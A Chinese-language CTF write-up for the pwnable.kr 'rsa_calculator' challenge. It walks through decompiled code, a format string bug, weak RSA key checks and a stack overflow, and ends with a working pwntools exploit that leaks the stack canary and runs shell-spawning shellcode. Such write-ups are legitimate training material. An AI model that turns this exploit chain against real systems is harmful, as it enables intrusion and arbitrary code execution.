前言
读代码题,虽然是逆向代码,哈哈。这道题得细心找,不能急,否则就得像我一样花了很长时间在printf的漏洞利用上了,悲催。
分析
分析反编译代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49signed __int64 set_key()
{
  int v1; // [sp+18h] [bp-18h]@7
  int v2; // [sp+1Ch] [bp-14h]@7
  unsigned int i; // [sp+20h] [bp-10h]@1
  int v4; // [sp+24h] [bp-Ch]@7
  int v5; // [sp+28h] [bp-8h]@7
  __int16 v6; // [sp+2Ch] [bp-4h]@1
  __int16 v7; // [sp+2Eh] [bp-2h]@1
  puts("-SET RSA KEY-");
  printf("p : ");
  __isoc99_scanf("%d", &v6);
  printf("q : ", &v6);
  __isoc99_scanf("%d", &v7);
  printf("p, q, set to %d, %d\n", (unsigned int)v6, (unsigned int)v7);
  puts("-current private key and public keys-");
  printf("public key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pub[i]);
  printf("\npublic key : ");
  for ( i = 0; i <= 7; ++i )
    printf("%02x ", pri[i]);
  putchar(10);
  v4 = v6 * v7;
  v5 = (v6 - 1) * (v7 - 1);
  printf("N set to %d, PHI set to %d\n", (unsigned int)v4, (unsigned int)v5);
  printf("set public key exponent e : ");
  __isoc99_scanf("%d", &v1);
  printf("set private key exponent d : ", &v1);
  __isoc99_scanf("%d", &v2);
  if ( v1 < (unsigned int)v5 && v2 < (unsigned int)v5 && v2 * v1 % (unsigned int)v5 != 1 )
  {
    puts("wrong parameters for key generation");
    exit(0);
  }
  if ( (unsigned int)v4 <= 0xFF )
  {
    puts("key length too short");
    exit(0);
  }
  set_pub_key(v1, v4, (__int64)pub);
  set_pri_key(v2, v4, (__int64)pri);
  puts("key set ok");
  printf("pubkey(e,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v1, (unsigned int)v1, (unsigned int)v4, (unsigned int)v4);
  printf("prikey(d,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v2, (unsigned int)v2, (unsigned int)v4, (unsigned int)v4);
  is_set = 1;
  return 1LL;
}
1  | __int64 RSA_decrypt()  | 
1  | int __cdecl main(int argc, const char **argv, const char **envp)  | 
代码对于我来说还是有点长的,哈哈。贴了几个关键的函数,大致分析一下程序很容易找到在RSA_decrypt函数中存在printf格式化字符串漏洞,利用该漏洞可以读写内存。但是仔细分析后发现,仅仅利用该漏洞无法更改返回地址或则是got表。那就需要寻找另外的漏洞了。
接下来就是仔细分析程序各个部分的功能找出漏洞,经过简单分析可以发现另外两处漏洞。
set_key函数在设置key时没有严格按照RSA算法的要求(具体算法百度),导致可以很容易设置想要的值。RSA_decrypt函数中,在向src变量赋值时存在栈溢出。
主要看看这个栈溢出。输入的密文v15是一个16进制编码的字符串,这里就是将v15转化为字符串存到src中。如果v15的长度为最大1024字节,那么这里的循环次数就是2×v7/2=1024,而每次循环src都要赋一个字节的值,所以循环520次后就开始覆盖栈的其他空间了。继续分析,其实当循环512次后v15的索引就已经越界了,其后就是src变量。那么后续覆盖返回地址和写shellcode就是使用src中的16进制编码的字符串了。当然RSA_decrypt函数是有stack canary的,需要先利用格式化字符串漏洞leak出来。
整理利用思路,这里我先leak处canary,然后利用栈溢出覆盖返回地址为pri变量的地址之后跟shellcode,并利用set_key函数的缺陷设置pri的值为jmp rsp指令。这样当函数返回时会跳转到pri执行jmp rsp从而执行shell。下面贴出exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41from pwn import *
def strToHex(s):
    ret = ''
    for i in s:
        ret += '{:02x}'.format(ord(i))
    return ret
def work(DEBUG):
    context(arch='amd64',os='linux',log_level='info')
    if DEBUG:
        r = process('./rsa_calculator')
    else:
        r = remote('pwnable.kr',9012)
        
    pri_addr = 0x602960
        
    #set key
    r.sendline('1')
    r.recvuntil('p : ')
    r.sendline('61\n53\n17\n2753')
    
    #get stack canary
    r.sendline('2\n1024\n%205$016lx')
    r.recvuntil('(hex encoded) -\n')
    cipher = r.recvline()
    r.sendline('3\n1024\n'+cipher)
    r.recvuntil('- decrypted result -\n')
    stack_canary = int(r.recvline(),16)
    
    #get shell
    r.sendline('1\n3\n29312\n1\n58623') #asm('jmp rsp')=0xe4ff=58623
    r.recvuntil('> ')
    tmp = strToHex('a'*8+p64(stack_canary)+'a'*8+p64(pri_addr)+asm(shellcraft.sh())) #set retaddr=pri_addr
    r.sendline('3\n1024\n'+strToHex(tmp+'30'*(1024-len(tmp))))
    
    r.interactive()
    
work(False)
1  | root@1:~/桌面/test$ python 1.py  | 
总结
读逆向代码要细心,不能急躁,否则可能会花很多时间。
